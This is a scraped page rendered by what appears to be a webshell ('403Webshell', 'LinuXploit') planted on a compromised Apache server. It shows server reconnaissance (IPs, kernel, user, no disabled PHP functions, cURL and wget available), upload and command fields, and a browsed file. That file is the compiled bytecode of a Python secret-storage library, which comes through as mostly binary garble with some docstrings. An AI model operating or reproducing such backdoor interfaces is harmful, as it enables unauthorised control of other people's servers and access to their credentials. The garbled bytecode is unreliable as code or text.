403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/secretstorage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/secretstorage/__pycache__/__init__.cpython-311.pyc
�

��b$
����dZddlmZddlmZmZmZddlmZm	Z	m
Z
mZmZm
Z
mZddlmZddlmZmZmZmZmZddlmZdZd	�eee����Zgd
�Zdefd�Zd
ede fd�Z!dS)zThis file provides quick access to all SecretStorage API. Please
refer to documentation of individual modules for API details.
�)�message_bus)�DBusConnection�Proxy�open_dbus_connection)�
Collection�create_collection�get_all_collections�get_default_collection�get_any_collection�get_collection_by_alias�search_items)�Item)�SecretStorageException�"SecretServiceNotAvailableException�LockedException�ItemNotFoundException�PromptDismissedException)�add_match_rules)�rr�.)rrrrrrr�check_service_availabilityr�	dbus_initr	rrr
r
�returnc�(�	t��}t|��|S#t$r5}d�|jd��}t|��|�d}~wttf$r"}tt|����|�d}~wwxYw)aAReturns a new connection to the session bus, instance of
    jeepney's :class:`DBusConnection` class. This connection can
    then be passed to various SecretStorage functions, such as
    :func:`~secretstorage.collection.get_default_collection`.

    .. warning::
       The D-Bus socket will not be closed automatically. You can
       close it manually using the :meth:`DBusConnection.close` method,
       or you can use the :class:`contextlib.closing` context manager:

       .. code-block:: python

          from contextlib import closing
          with closing(dbus_init()) as conn:
              collection = secretstorage.get_default_collection(conn)
              items = collection.search_items({'application': 'myapp'})

       However, you will not be able to call any methods on the objects
       created within the context after you leave it.

    .. versionchanged:: 3.0
       Before the port to Jeepney, this function returned an
       instance of :class:`dbus.SessionBus` class.

    .. versionchanged:: 3.1
       This function no longer accepts any arguments.
    z Environment variable {} is unsetrN)	rr�KeyError�format�argsr�ConnectionError�
ValueError�str)�
connection�ex�reasons   �8/usr/lib/python3/dist-packages/secretstorage/__init__.pyrr,s���8	B�)�+�+�
��
�#�#�#�����A�A�A�3�:�:�2�7�1�:�F�F��0��8�8�b�@������Z�(�B�B�B�0��R���9�9�r�A�����B���s �!�
B�0A�B�/B�Br!c��ddlm}tt|��}|�|��ddkp||���dvS)z�Returns True if the Secret Service daemon is either running or
    available for activation via D-Bus, False otherwise.

    .. versionadded:: 3.2
    r)�BUS_NAME�)�secretstorage.utilr&rr�NameHasOwner�ListActivatableNames)r!r&�proxys   r$rrTsc��,�+�+�+�+�+��+�z�*�*�E����x�(�(��+�q�0�
;��5�5�5�7�7��:�:�<�N)"�__doc__�jeepney.bus_messagesr�jeepney.io.blockingrrr�secretstorage.collectionrrr	r
rrr
�secretstorage.itemr�secretstorage.exceptionsrrrrrr(r�__version_tuple__�join�mapr �__version__�__all__r�boolr�r,r$�<module>r:s�����-�,�,�,�,�,�K�K�K�K�K�K�K�K�K�K�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�$�#�#�#�#�#�1�1�1�1�1�1�1�1�1�1�1�1�1�1�/�.�.�.�.�.����h�h�s�s�3� 1�2�2�3�3������&%B�>�%B�%B�%B�%B�P	<�>�	<�d�	<�	<�	<�	<�	<�	<r,

Youez - 2016 - github.com/yon3zu
LinuXploit